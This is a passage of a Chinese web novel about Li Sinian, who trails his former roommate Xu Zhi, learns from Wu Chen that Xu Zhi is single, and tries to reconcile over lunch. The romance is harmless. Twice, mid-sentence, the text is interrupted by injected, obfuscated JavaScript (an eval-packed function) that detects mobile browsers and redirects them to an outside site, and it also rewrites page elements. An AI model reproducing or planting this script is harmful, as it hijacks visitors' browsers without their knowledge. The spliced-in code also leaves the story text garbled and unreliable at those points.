车窗摇下,驾驶位坐着一个成年男人,但距离较远、外加许之所站的位置遮挡,李斯年看不清对方长什么样。 只见许之和他说了两句话,后退几步,晃动手臂,引导着那辆suv倒了出去。 “好了,可以了。”许之声音不算清晰地传来。 然后绕到另一侧,打开副驾驶位的车门,上了车。 他表情轻松,眼角眉梢甚至还带了少许笑意,李斯年是熟悉这样表情的——在八年前。 但是重逢后,他就再没看到过许之对自己露出这样的表情。 看来车里的男人和许之很熟…… 或许比曾经在出租屋时的自己与许之要更熟。 想到这里,李斯年暗暗攥紧了拳头,一股说不清的怒火瞬间从心底窜了起来,他快步回到自己的车旁,用app解锁了车。 然后一脚油门,就追了出去。 - 若时间倒回两周前,李斯年怎么都不会料到,自己回国后会再遇到许之。 退一万步来说,就算遇到了,也绝对想不到自己竟然会跟踪许之和另一个男人。 一路上,无数念头在李斯年脑海里闪过。 他有种冲动,想直接打电话问许之那个男人是谁、你们什么关系。 但又担心激怒了许之,使其逃得更远。 更怕得知“我们在一起了”这样的回答。 因为许之认得他的车,所以李斯年跟得特别小心。 但他毕竟没什么跟人的经验,晚高峰路上车又多,他紧赶慢赶才堪堪追上,还因为差点跟丢而闯了一个黄灯。 然后看到银色suv停在一家进口小超市门前。 那男人没有下车,反而是许之下来了,他进去不到十分钟,就买好东西出来。 一只手提着个白色塑料袋,鼓鼓囊囊不知装了些什么,另一只手则提着个长方形、五颜六色的大包装袋。 待李斯年看清那包装袋上的英文标签和图案后,他瞳孔骤缩——这是一袋猫粮! 许之和别人一起养猫了?! 被时间冲淡的背叛与抛弃感又瞬间涌上心头,李斯年手死死地攥住方向盘,想要冲出去质问。 但终于还是忍住了。 他有什么资格质问许之呢? 许之和任何人在一起,是男是女、养猫养狗,都跟他没有任何关系了。 李斯年讨厌这样的“没有关系”。 银色suv再次启动,李斯年继续跟了上去。 吴琛连续开过两个三岔路口,许之发现他看后视镜的频率明显增多了。 “怎么了?”许之问。 吴琛“啧”了一声:“好像有辆黑车一直跟着我。” 许之看到后视镜里密密麻麻好多辆黑车:“是不是看错了?你在广都又不认识什么人。” 吴琛毕业后,是在广都的临省工作定居的。 吴琛摇头:“不是,那辆车从超市之前就跟着我,我停他也停、我走他也走,这又过了这么多路口,他还在,哪有这么巧的事情?而且那辆车挺贵的,我在杂志上看过,国内还限量呢。” 许之于是扭头仔细去看。 “诶,就那个。”吴琛跟他指,“前灯外面有一圈橙色的那辆。” 很快,许之也看到了那辆车,然而他目光在车牌上停了片刻,却是沉默着转过身来。 吴琛有些奇怪:“怎么了?认识?” 许之好一会才答:“是李斯年。” “啊?”吴琛眼睛瞪得浑圆:“你们……怎么遇见了?” “他是广都大学的特聘教授。” “你们这缘分,也真是……够有戏剧性的。”吴琛憋了半天,感叹出这么一句,“他是不是找你有事?要我停车吗?” 真有要紧事早就打电话了,许之也搞不清楚李斯年在发什么疯,但他并不想被李斯年知道自己和吴琛还有联系、以及吴琛这次去自己家的原因。 于是摆摆手,说:“不用了,随他去吧。” 反正现在自己住的那个小区,非住户登记车辆进不去。 “好吧。”吴琛说完,前车一个急停,于是他赶紧也跟着快踩了刹车。 车内惯性一晃,许之第一反应就是赶紧侧过身,伸手往后座上的长方形猫包上扶了扶。 一声猫叫响起,像是在骂骂咧咧是什么破司机让自己颠着了。 吴琛笑着哄了声:“对不起啊奥利奥,马上就到了。” 许之安抚地摸了摸猫包监视窗,里面有只肥肥的黑白相间猫咪原地打了个圈,再次趴睡下去。 “那你们现在是和好了吗?”吴琛问。 许之从后座收回手,说:“也不算,其实我本来是想去别的大学任职,但不知怎么被李斯年提前知道了,他去找了带我的老教授,把当年火灾的事情曲解着解释了,我也就没理由再走了。” 吴琛有点没听明白:“他为什么要这么做?想让你留下?” 许之淡淡一笑:“可能是想要报复我吧。” “不、不会吧……”吴琛想到了些什么,有些欲言又止,“你们也没什么仇,不至于的。” “他应该很介意我当年不告而别的事,所以想发泄怒火。”许之敛着眉眼,看不出什么表情,“没关系,他想做什么就做吧,算我欠他的。” 吴琛不解:“你欠他什么了?” 他和许之是在六年前恢复联系的,那年奥利奥生日,吴琛发了一张猫咪吹罐头蜡烛的照片,许之点了赞。 而后吴琛就偶尔会给许之发奥利奥的视频或照片,但聊天话题也仅限于猫咪,其他事情许之不提、他也很有分寸的不问。 是故吴琛其实只知道当年李斯年在化学实验室发生火灾、一直昏迷,而许之在醒来后,选择了出国留学。 从此这两人就分道扬镳、再无交集。 “我欠他一句再见。”许之顿了顿,又说,“还有谢谢。” 听出他话里的遗憾伤感,吴琛在脑中组织了一会措辞,谨慎地开口:“虽然我和李斯年也不太熟,但我觉得吧,他看起来不是这么心胸狭隘的人啊,况且都过去这么久了。” 他边说,边侧目去看许之的反应:“我觉得他这么做,倒像是舍不得你。” 许之听得一怔,摆摆手:“怎么会,你别过度解读了。” 吴琛又沉默了片刻,一双眼睛转动着,像是憋了气的鱼。 终于,用半开玩笑的语气又说:“诶,你说,他会不会是喜欢你啊?” “不可能。”许之这次毫无停顿地否决了。 吴琛一哽:“你怎么就这么肯定 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如许之所料,这个小区的地下车库只允许住户进入,李斯年跟着银色suv一路过来,然后眼睁睁看着对方开进了地下车库,而自己被卡在大门口。 李斯年跟门口保安软磨硬泡了快半小时,还搭上了两包昂贵香烟,最后终于被允许开到小区地面层停两个小时。 李斯年仰靠在真皮靠背上,顺着楼层一层层数上去,目光落在了第19层。 这是半小时前,他腆着脸给林教授打电话,借口要给许之送下周公益讲座的书面资料,从而要到的准确单元楼层住址。 但要到地址也不能怎么样,只能在这里等着。 总不能真跑到人家家里去。 电话一震,李倾诺发来一条微信消息。 糯糯:哥,你怎么跑天云区去了? 李斯年的车有电子定位,授权给李倾诺绑定过。 SN:有点事。 糯糯:什么事? SN:要查岗找你对象去,别查我啊。 糯糯:都说了,还不是对象呢! 李倾诺有一个暗恋了半年的大学学长,二人一直在暧昧中。 但李斯年私心觉得那人不靠谱,他见过一面,那个男孩子给人感觉……就和曾经他在酒吧碰到的那个叫吴琛的差不多。 帅而自知。 这种男生十有八九都还没收心。 不然,也不会和李倾诺暧昧了大半年还不确定关系。 李倾诺见他半天不回复,又发了一条。 糯糯:我看你在一个小区里,你是不是去找许之了? 要么怎么说知兄莫若妹呢,李斯年常常感叹于李倾诺的敏锐。 SN:你别管了。 糯糯:我真服了,他到底有什么好啊,就是模样出众点,至于你这么些年念念不忘,一见面就又被勾了魂? 一串恨铁不成钢的消息发过来,李倾诺都没耐心等亲哥打字,直接就打了电话过来。 李斯年有些无奈地拖长了声音:“喂……” “你给我回来!”李倾诺霸气十足。 “这么凶啊?”李斯年失笑。 “因为你好了伤疤忘了疼!”李倾诺说完,深呼吸片刻,还是缓下声音来,担心道,“你之前发病那么痛苦,现在还要往他面前凑么?” “再不会了,你哥又不是傻,我这么做当然是有理由的。” 李倾诺轻哼一声:“什么理由?你不就是又在追人家?” 李斯年愣住:“你从哪这么觉得?” “不然你跑人家小区里干什么?” “因为我看到……”李斯年想说是看到许之上了一个男人的车,但话到嘴边,自己也觉得有点不太对劲,若这样说了,李倾诺肯定更要误会。 于是他改口道:“我看到有个公益讲座的资料漏给了,所以才送过来。” 李倾诺半信半疑:“真的?” “真的。” 李倾诺长叹了一口气:“有时候真不知道你到底在想什么,梁芷姐姐被你气回去了,你知不知道?上午我给她打电话时,她还哭了,你为什么放着眼前的人不珍惜呢?” “我就是不喜欢她,这理由还不够吗?”李斯年转而问她,“否则你干嘛非要吊死在那一颗花心大萝卜树上?” 李倾诺气道:“学长他才不是花心呢!他只是太优秀了,所以身边才会总有很多女孩。” “行行行,求你快去谈恋爱吧,别管我了。”李斯年知道这种事情当局者迷,李倾诺想去经历,就随她去吧。 反正最后是修成正果还是遍体鳞伤,总归有李斯年兜底就是了,无论是安慰人、还是去教训那小子一顿,都好说。 或许有些鸟儿之所以能随心所欲到近乎冒失地飞翔,去尽情探索那片天空的形状。 是因为心知无论什么时候,只要疲了倦了,往回就是归巢。 他希望李倾诺能永远做这样的鸟儿。 76.嫉妒 天色渐渐暗了下来,各家各户的窗都纷纷亮起,在一片漆黑夜色中,宛如漫天悬浮的灯火。 李斯年掐着表看,已经两个小时过去了,就算是现从地里摘的菜,这时候也该做完、吃完外加洗完碗了吧? 难不成许之要留对方过夜,他们真的是那种关系? 李斯年内心焦躁,手无意识地转动着表盘外圈。 这手表仍然是郑秀送的那个,其实在得知母亲出轨的事情后,李斯年很长一段时间都对与她相关的东西都感到生理性厌恶。 但出国那天,他收拾行李时,最终还是只带了这一个手表。 说不清是出于什么心情,又或者说是李斯年自己不愿意深思。 他从一个认为什么事情都可以刨根问底、讲清楚的人,变成学会浮于表面、得过且过。 这样的好处是痛感会不那么明显,坏处是快乐也没那么明显了。 记得在攻克了近百年研究瓶颈、制造出罕见病特效药的那一天,公司里所有研究员都在欢呼。 洪室章更是哭得鼻涕眼泪都出来了,迫不及待要把家里珍藏的老酒拿出来庆贺。 但李斯年也仅仅是有种“这么长时间辛苦付出终于得到回报”的欣慰而已,睡了好久实验室的折叠床,此刻只想回到自己房间里席梦思床上,好好睡一觉。 八点半已经过去了,19楼的灯依然亮着,李斯年陷入踌躇,其实他应该离开了,但却又不甘心。 他手摸向烟盒,正想点一根时,忽然看到单元楼的玻璃门被推开了,先是许之出来,手里提了两袋垃圾,丢到路对面的垃圾桶内,很快那个开车的男人就跟了出来。 李斯年往座位一躺,悄悄从车窗边缘看。 那男人戴着顶鸭舌帽,昏暗的夜色下,隔着距离,看不清模样,只见他和许之说了几句话,然后许之就往回走。 看着许之进单元门后,男人才转身往外面走去。 李斯年有点不确定,这人是要离开、还是仅仅出门买点东西。 如果是要离开,怎么不从车库开车走? 他迟疑着该不该下去会一会这个男人,却没想到对方目光一扫,竟然落在了自己车上。 难道跟踪被发现了? 怀疑很快得到了证实,只见那男人转身走了过来,目标明显就是李斯年的车。 李斯年一咬牙,来就来,难道他还会怕么? 大不了就还是说自己是来送资料的。 想到这里,李斯年果断升起座椅靠背,开门就下了车。 吴琛看到人从车上下来,那表情明显是按捺着怒气,门关得很响,就对李斯年的心思猜到了个大概。 “哎哟,这是怎么了,怒气冲冲的?”吴琛站定。 李斯年终于得以看清对方正面模样,一脸震惊。 他怎么都没想到,许之竟然还会和吴琛有联系:“是……你?!” “是啊,好久不见啊李斯年。”吴琛笑着,后退两步打量了下李斯年,打趣道,“你是不是又高了点?” 李斯年的表情也缓和下来:“长高什么,我跟你认识时都成年了。你……怎么会在这?” “许之刚回国,我怕他不适应,所以来看看。”吴琛故意把话说得有几分暧昧,明知故问道,“你呢,也住在这个小区吗?” “不是,我……就是给许之送份文件来。”李斯年一个谎话反复用,自己都要信了。 “这样啊,那等我买点啤酒,一起上去吧?”吴琛说着,就要往小区门口的便利店去。 他是下来买啤酒的? 李斯年心下一沉,这大晚上的,孤男寡男共处一室就算了,还喝酒?! 酒有什么好喝的! “我们几个还真是挺有缘,这么多年后,还能再见面,而且中国这么大,你和许之偏偏成了同一所大学的老师。”吴琛边笑边说。 看来许之和吴琛的关系的确不错,把这些都和他说了,李斯年心想。 他装作若无其事道:“是啊,对了,你现在在哪高就呢?” “原本在邻省,但这不是许之回国了嘛,我也想着争取一下,看能不能调到广都来。”吴琛在货架上挑着,“不知道你喜欢什么口味的,你自己拿,别客气。” 然后自己选了几瓶果味啤酒。 “不了,谢谢,我还开车呢。”李斯年应付着,心里却有点乱。 原来许之喜欢果味啤酒? 不对,重点不是这个。 而是为什么许之回国了,吴琛就想要调到广都来上班? “我们这么多年没见面了,今天怎么着都得喝点啊。”吴琛仿佛没有注意到李斯年心不在焉,“醉了也没事,就睡家里,我把客房给你清出来。” 然后又多拿了几瓶原味,走到收银台结账。 吴琛这话说得,仿佛他也是那个家的主人。 如果自己睡客房,那么吴琛睡哪,和许之一起睡主卧? 李斯年心里有些莫名烦躁。 二人从便利店出来往单元楼走,小区内的灯是偏暗的暖黄色,模模糊糊的树叶阴影落在地上,像是深浅不一的瘢痕。 李斯年一路沉默到车前,吴琛站在原地,等他去车里拿文件。 但根本就没有什么文件。 他只好装模作样打开车门找几张纸看了看,然后发出一声懊悔的声音。 “怎么了?”吴琛问。 李斯年直起身,无奈道:“我好像拿错文件了,回头邮箱发给他吧。” 吴琛点头:“那走吧,先上去。” 李斯年却笑着摇摇头:“我其实明天上午还有点事,下次约吧。” 事已至此,吴琛和许之如今是什么关系已经昭然若揭,他何苦要跟上去当个电灯泡? 吴琛不疑有他,腾出手来从兜里掏了手机,热情道:“行啊,我在广都呆好几天呢,你有空了随时给我发消息。” 李斯年敷衍着应下:“好的。” - 开车回到家,李斯年简单洗漱便倒在了床上,原本还有些工作要处理,却实在是提不起力气。 并不是生理上的疲惫,更多是心理上的空洞无措。 许之有男朋友了,这个人竟然还是吴琛。 李斯年觉得心里一阵又一阵闷痛闷痛,他很有先见之明的提前打开抽屉吃了药,但镇定安眠的药效却迟迟没有生效。 他就这么翻来覆去到后半夜也没能入睡,然后不得不睁着眼看着天花板,心里响起一个声音:他好嫉妒。 没错,就是嫉妒。 能引起许之情绪波动的人;能让他开心或痛苦的人;能名正言顺站在他身边、陪他走完余生的人,不是自己。 以前不是,以后也不可能是了。 这种感觉简直像是被抽干灵魂。 李斯年甚至有瞬间的恍惚,那他以后在学校见到许之该怎么办?人家已经有对象了,再死缠烂打着为难人家好像也不太合适。 想到这里,又更恍惚了,难道自己原先与他为难,就是期许着还能有什么以后? 李斯年啊李斯年,明明之前八年,也就这么过了。 以为再也不会遇见、放弃所有希望,用厌恶去遮盖思念,也能活下去,不是吗? 如今只是一切回到原点而已。 就这样,李斯年彻夜未眠,次日眼底发青着去了学校,上了几节课。 不仅被好几个学生关心了,还在走廊时还被邹主任叫住,询问是不是最近教学和科研担子太重。 然而他又想见又怕见的人,却是没能见到。 连续三天,都没见到。 原来哪怕在一个学校,不故意制造机会的话,也是很难遇见的啊。 倒是在这天的黄昏,李斯年手机一震,收到了吴琛的短信—— [今晚20:00,广都机场T4航站楼。] 李斯年挺莫名其妙的,这地点看起来也不像是约着见面叙旧的意思。 [发错人了?] 对方很快回复。 [没有,你来。] 李斯年有些迟疑,抬手看了眼表,如果想准时赶到,现在立刻就要出发了。 不过转念一想,吴琛没有捉弄他的理由,而且……他已经三天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我说你啊,怎么这么没出息呢?”吴琛边笑边说,“当年在三岔巷子,你一副规划了未来的样子,还想考上大学后告白,我当时真挺佩服你一腔深情的,结果没想到,这么多年了,许之甚至连你喜欢他都还不知道?” 李斯年有点不明白,这是在嘲讽他,还是…… “你现在不是和许之在一起了?” “当然没有,我们只是朋友。”吴琛说。 李斯年心中忽然吹起一阵风,原本压着的那块沉甸甸石头刹那间就消失地无影无踪。 他甚至没意识到自己弯起的嘴角:“那你上次说的话……是故意骗我的?” “答对了!”吴琛狡黠一笑,“毕竟这么多年过去,我也不知道你心里到底怎么想的,所以就试探了一下,对了……” 说着,拿起手机给李斯年看锁屏,只见屏幕上是一只黑白相间猫咪的照片。 李斯年仔细看了一会,惊讶道:“这是奥利奥?!” “是啊。”吴琛满脸慈父笑容,“怎么样,我养的挺好吧?” 李斯年很是感叹:“都长这么大了,还这么胖 ,我差点没认出来。” “我这次来广都,其实就是带奥利奥来见见许之的,之前跟你断了联系,若知道你也在这边,我肯定约你们俩一块儿了!” 李斯年睁大了眼。 吴琛了然地摊摊手,抢先说:“可惜,在你来之前,奥利奥已经送进去办好托运手续了。” 李斯年很惋惜:“之前见面时怎么没和我说?” 已经见不到小白了,若是能看看她的孩子也好啊。 “没关系,等暑假来我家玩!”吴琛说完,又补充了一句:“你和许之一起来啊。” 李斯年尴尬道:“其实我们现在……就只是普通同事而已。” 连朋友都算不上了。 “但我看的出来,你还喜欢他,是不是?”吴琛问。 李斯年一愣。 究竟是有多明显?前脚梁芷看出来,后脚又被吴琛一言道破。 吴琛叹了口气,又说:“虽然不知道你们当年到底发生了什么,但既然老天又给了重逢的机会,我觉得你要不要还是争取一下,说不定他也喜欢你呢?” 李斯年微微垂着头,整张脸淹没在阴影中,瞧不清表情。 几分钟后,他才又开了口,声音干巴巴又沉甸甸:“我知道,他是喜欢我的。” 77.挽回 “什么?”这倒是出乎吴琛的意料。 “他喜欢我,但是,是那种微不足道的喜欢。” 李斯年抬起头,一双眼黑白分明:“八年前的火灾后,他比我先醒,或许李宇、也就是我爸,的确对他施压了,但以许之的性格,如果不是自愿,有谁能真的把他赶走?可是他最后的确走了,为了自己更好的未来、为了逃离一些人和事,宁愿把我也抛弃,还有我们一起养的猫……那可是刚过完年的大冬天,小白在外面怎么可能活得下去?” 吴琛目光微闪,好一会才终于组织好语言:“我觉得不能这么想……许之是不是还以为你是直男?” 李斯年“嗯”了声。 “那他就算再喜欢你,也没有结果啊。”吴琛大胆猜测,“我听说你还自称同性恋,也是为了他?” 李斯年沉默着点了头。 吴琛恍然:“那就对了,你为他做了这么多,但你是直男、不可能喜欢他,那对于许之来说,可不就是一直心怀亏欠呢?” 李斯年有点急:“这跟我是不是直男有什么关系?而且,我根本不需要他报答啊!” 吴琛叹了口气,他深深怀疑李斯年要么是当局者迷、要么就是这八年根本就没有感情生活,否则怎么会直到现在,想法都如同青春期少年一般耿直不懂转弯。 “你不需要、不代表他不想给予啊,喜欢一个人,就是会忍不住想对他好的。” “可是许之却只能藏起这份好意,又或者用友谊来包装,这种滋味我太懂了。”吴琛有些自嘲地笑了笑,“你是不知道,很多直男其实都特别恐同。” “这、这样吗?”李斯年内心有些震动,他从前的确完全没有这样换位思考过。 因为他是到高三才偶然得知自己性取向的,所以对这方面的感知其实是近乎直男的、非常迟钝的。 而吴琛很小就知道自己是同性恋,所以他很懂自己这样的“异类”,在面对各种人际关系时,要顾忌多么多的东西。 吴琛点头:“所以我猜,在许之眼里,他的喜欢是你所不需要的,那他的存在对你来说就是一个负担了,你为了他背负同性恋的名号,还被家长老师指指点点的,他心里得多不好受啊?” “他当年铁了心要离开你,估计就是因为这个,他不想继续拖累你了。” 吴琛说完后,李斯年陷入沉思,久久没有开口。 他心里乱极了,像是经历了一场巨大的龙卷风,将多年来的认知和情绪全都掀起、撕碎,搅成一团。 吴琛知道,这些对于李斯年来说要花费时间消化,于是也没有再开口,只是靠在座椅上,静静看着远处的天空。 按说以他和李斯年的交情,今天这一番话,有些算是说深了的。但吴琛也不知道为什么,就是没办法眼睁睁看着二人就这样再次错过。 或许是因为他总是记得那年盛夏,少年在三岔巷子里对他说,想要考上大学之后再和许之告白,那双亮晶晶的眼里盛着太纯粹的爱意,无论是谁都会被打动的。 “我……好像真的误会了很多事。”李斯年叹了口气,轻声说。 他回想起许之发现自己替考的那天,他发了好大的脾气,红着眼角对自己说—— “李斯年,你让我怎么样才能还得起这份人情?” 当时李斯年完全不理解,为什么许之一定要执着于“报答他”。 甚至李斯年觉得,报答本身就是一种生疏、客套的表现。 他希望的是,自己付出之后,许之只需要接受、感到开心,并且觉得他很好,这就足够了。 但李斯年根本没有想到,这份付出或许对于许之来说,是太过沉重的。 “没事,现在也不晚嘛,而且……”吴琛顿了顿,“你知道吗?小白没丢。” 李斯年惊得心跳停了一拍:“真的?!” 吴琛点头:“当年许之完全可以在国内给小白找领养,但却选择带在身边,出国回国都费了不少心,猫包都是随身带着进客舱的,他在国外好像也没什么朋友,一人一猫相依为命,我觉得他爱猫是其一,更多其实也是在怀念你们以前在三岔巷子的那段时光吧。” 李斯年鼻子一酸,像是迎面灌进咸涩的海水,说不清是心脏还是其他地方,总之整个胸腔都沉沉钝钝地痛了起来。 他一直以为,只有自己会在深夜无人时,怀抱着过去那点不算多的回忆,试图触摸已经消散的温暖。 原来许之也还会记起。 吴琛很会看眼色:“既然误会都解开了,你要不要约许之吃个晚饭好好聊聊?他刚送我来机场,估计现在还没吃。” 李斯年想了半天,最终还是摇头:“我……还是想先好好想想。” 若是趁着此刻激动的心情,就这样草率地对许之道歉,说自己误解了他、希望能得到一次重来的机会,未免太轻飘飘了。 对于二人这些年各自背负的东西来说,都显得不够郑重。 吴琛觉得这样也好:“那你们什么时候和好了,给我个消息,也算是我的功德一件啦。” 李斯年笑道:“好,一定。” 送吴琛回航站楼登机后,李斯年驱车回家。 这一天的夜里,他回忆起很多很多以前的事,都是这八年间不敢记起的。 原本以为,那些事情已经被时间冲刷到只剩下淡薄颜色和残缺画面,却没想到,当推开那扇门,扑面而来的却尽是栩栩如生。 李斯年仿佛还能闻到许之炒糊了的鸡蛋味,以及手忙脚乱将菜盛盘时,锅铲碰撞出的声响。 然后随着一声“快来吃饭”,晚餐正式开始。 赵婶是不会这样说的,她虽然在李家多年,把两个孩子当做小辈一般疼,但该有的分寸仍然没敢忘记。 每次做好饭,只会轻声细语地对李倾诺和李斯年告知一句:饭菜已经准备好了。 她不会催问他们何时来吃,最多过半刻钟再提醒一次,因为哪怕寒冬里,桌上也有加热垫保持饭菜的热度。 那种着急忙慌地下命令,希望对方能赶紧来吃、别错过饭点饿坏肚子的,是只属于家人的亲密感。 以前郑秀会这么说、后来许之会这么说。 李斯年曾在一次心理咨询,和迪伦聊到比较深层话题时,没什么防备地脱口而出过一句话。 但他当时声音太小了,迪伦没能听清。 而在话出口的瞬间,像是裸露的、尚未长出皮肤的伤口突然被触碰般,李斯年心中一抖,不安全、厌恶和抵触的情绪陡然升了起来,如一堵墙,拦在他与迪伦之间。 那次咨询也因此没能继续下去,被迫中断。 李斯年当时说得是:“出租屋是我第二个家。” 他曾以为在那个冬天,自己一夜之间失去了两个家人,和所有的归宿。 但原来,一切还尚可挽回。 尚可挽回,这对如今的李斯年来说,真是世界上最美妙的四个字了。 - 接下来的几天,李斯年特意往心理咨询室那条走廊绕过几次,却还是没看到许之的影子。 向预约室的学生们打听才知道,许之跟着林教授去参加了一个为期两天的心理学讲座。 李斯年于是第二天十一点四十,踩着点去了咨询室。 大多数教授是没有固定办公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707707|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室的,但许之比较特殊,他手上有几个林教授督导着的咨询案例,有很多资料需要在校处理。 而咨询室正好分内外两间,是故外面那间就用作咨询用,里面则算是许之和其他心理学系老师共用的办公室。 李斯年来时,许之正在处理一些较为复杂数据和曲线,他事先有嘱咐值班学生不要来打扰,所以在听到敲门声时,不由得蹙起了眉。 “哪位?” 声音清冷疏离,隔着门传来。 与少年时的音色相比,多了些稳重和从容。 李斯年觉得自己肯定是魔障了,就这么隔门听到两个字,竟然会瞬间心跳快了几拍。 “是我。”他说。 屋内静了片刻,终于还是传来脚步声。 许之将门打开一半,然后就这么站在门口,一副不太欢迎李斯年进去的样子。 “有事吗?”许之问。 李斯年从口袋里掏出什么,摊手递了过去:“这个还给你。” 竟然是当初李斯年执意要拿走的预约室钥匙。 许之投来狐疑的目光:“你又想干什么?” 李斯年无奈一笑,直接抓起许之的手腕,把钥匙放在了他手心:“我真是来还钥匙的!” 许之目光还是有所戒备,李斯年心中叹息,这孩子是被自己吓成什么样了,于是耐心解释:“我那天拿钥匙,是一时冲动,但回过头想想,的确是不符合规定,而且你们这边预约室还会有一些学生预约资料详情,应该是需要保密的内容,我拿着不好。” 许之听完,这才面色稍霁,点了点头。 “你中午有事吗?”李斯年突然说。 许之没答,只是问:“怎么了?” 李斯年:“要不要跟我一起去食堂吃午饭?其实我来广大这么久,还没去过学校里的食堂,好像有好几个食堂,也不知道哪里比较好吃呢?” 许之沉默了片刻,若是往常,他肯定一口拒绝。 但李斯年前脚刚还回了钥匙,言辞之间态度又很好,话说出口是询问,而不是像之前直接替他决定了。 这反而叫许之不好说出“不”字。 见他态度松动,李斯年又说:“不急,你先把手头事情忙完,我在外面等你就行,好吗?” 又是一个礼貌而友善的问句。 许之简直要怀疑李斯年今天是不是吃错药了,怎么突然态度一百八十度大转变。 就在这时,咨询室外走来两个值班学生,将上午的预约咨询单递了过来:“许老师,快到午休时间,我们准备走了。” “好的,辛苦了。” 许之接过东西查看,随即察觉到学生们的一步三回头。 只见二人的目光偷偷在李斯年身上打量片刻,然后又转过头去窃窃私语着什么。 这样的神情许之很熟悉,从前在育德中学,李斯年经过的一切地方,周围女生都是这样的。 这个人,好像无论少年还是青年,也无论身处何处,总会是那个焦点人物,有着令人挪不开目光的魅力。 仿佛与生俱来。 哪怕许之不逛校内论坛,也在课间时听到过学生们讨论过不少相关话题——化学系新来的那个教授有多年轻、多高多帅、讲课是怎样幽默又精彩…… “许老师。”李斯年偏偏这时候又开了口,“怎么样啊,我等你?” 许之眉心一跳,余光瞥见原本都要走出咨询室外间的两个学生脚步明显放缓,就差在头上顶着吃瓜二字了。 他就知道,李斯年怎么突然就可能转了性! 许之干巴巴道:“行,那你在走廊等着吧。” 78.食堂 “刻意冷落李斯年在走廊多等一会”的念头,其实只是最初在许之的脑海一闪而过而已。 当他开始专注处理数据和文档时,很快就忘了这茬。 直到内容完成,往电脑右下角一撇,才发现竟然已经过去了近两个小时。 这么久了? 许之内心有些忐忑,以李斯年的性格,怕是会生气,或早就离开了吧。 但当他推开门,看到李斯年坐在外间咨询室的单人沙发上,手侧撑着头,似乎睡着了时,那些忐忑又尽数化为了内疚。 许之缓缓合上门,又轻手轻脚走近些,蹲下身来。 李斯年的确是睡着了,他双眼紧闭,眉头微微蹙起,似乎连梦也不太安稳。 这人是晚上没睡好吗?竟然能在咨询室沙发上睡着。 李斯年侧着头,额前刘海也向右垂下,使得左额上那个泛白的伤痕若隐若现。 许之屏住呼吸,缓缓伸出手,去撩开他额前的头发。 火灾那天,许之见到李斯年时,他脸上已经沾满血污、头发黏成一团。 而他离开的那时,李斯年额上的纱布还很厚,未曾拆下。 这是他第一次真正看清李斯年额头上的伤口。 伤口不算短,从眉头上方向斜延伸,直到眉毛后段的上方。 愈合后长出的新肉哪怕已经过了这么多年,颜色还是与旁边有所区别,要更白一些。 整个伤痕从中部凸起,如小丘陵一般顺坡向下。 许之心中酸酸涨涨的,像是被谁锤了几闷拳,隐隐作痛。 这不像普通的划伤,通常是皮肉被削掉些许,伤口恢复后才会呈现这种模样。 一定很痛吧。 许之目光顺着他耳边向下,又看向下颚延伸到颈部的伤痕。 如果可以,他多希望这些伤痕能在自己身上,反正他已经有不少了,多一点也没什么。 但李斯年就应该是完美无瑕的才对。 许之越想越难过,放下的手不受控的微弱一颤,擦碰到了李斯年的眉角。 他的确睡得很浅,哪怕是这样轻的触碰,也足以被从梦中唤醒,眉头一蹙,陡然就睁开了眼。 二人都没料到这一瞬的四目相对,李斯年睡意朦胧间,看到许之眼中没来得及收回的疼惜,不由一怔。 但还不待他再看第二眼,许之就直起身来。 他表情恢复如初,仿佛刚才一切只是李斯年的错觉。 “还吃饭吗?”许之问。 “吃啊。”李斯年手撑沙发,也站了起来。 他抬手看了眼表,有点吃惊:“我睡了这么久,你没叫我,就这样等着?” 许之有点心虚的摸摸鼻子,其实他也没专门等…… “这个点,食堂估计都没菜了。”李斯年叹着气,很惋惜的样子,仿佛跟对方去食堂吃午饭是多么重要的事情。 其实对许之而言,这样正好,本来他也不想和李斯年吃这顿饭。 但话到嘴边,见李斯年这模样这语气,又想起他刚才醒来时的眼神,许之终究还是心软了。 “南苑食堂二楼是全天供餐的,这个时间,一楼也可能还有剩,走吧。” 南苑食堂是个两层高的楼,一层是物美价廉的盒饭、汤粉面、盖饭等,二层则价格稍高,有精致小炒、西餐日料等。 许之和李斯年简单介绍了,本来准备直接往二楼走,但李斯年却叫住了他。 “就吃一楼吧?”他目光扫过那一个个档口,冲许之笑,“这里还挺像当年育德的食堂。” 许之脚步一顿,“嗯”了声。 李斯年:“以前你总大中午的啃干粮,我还去食堂给你带盒饭呢,江城人吃辣,为了给你挑不辣的菜,还有点费劲。” 说完,见许之没吭声,李斯年又碰了碰他的手肘,笑着问:“你不会都忘了吧?” 许之也没回答,只是拿出饭卡,往窗口走去:“那就吃盒饭吧。” 李斯年察觉到他语气不对,觉得有些莫名其妙。 这人怎么突然就不高兴了? 许之滴了两下饭卡,弯腰对打饭师傅说:“一份三荤两素、一份一荤三素。” 李斯年一愣:“为什么点不一样的?” 许之选好自己的一荤三素,将汤碗放到托盘上,才回他的话:“不是要忆往昔么?” 说完,自行先端着盘子去了空位。 李斯年原本想跟上去问他怎么了,身后打饭师傅嚷了声:“你的三荤两素呢,要选什么菜啊?” 他只好回过头,把自己的那份盒饭打好了,连汤也没拿,赶紧坐到许之对面的座位。 许之没等李斯年,已经自己先开始吃了。 他吃饭和以前一样,慢条斯理的,像只猫。 但区别在于,以前他还会和桌对面的人讲讲话。 如今则只顾埋头吃,一个眼神也不给。 李斯年筷子拿起又放下,终于忍不住问:“我是哪儿又惹你了吗?” 许之这才看了他两眼:“能不能别明知故问。” 李斯年傻了眼:“不是,我真不知道!” 他这些天思考了很多,还是觉得若就这么直戳戳冲到许之面前,先解释后告白,难免突兀。 也不确定过了这么多年,许之对自己的感情还剩多少,不如循序渐进,试着先和许之拉近距离,至少恢复朋友关系。 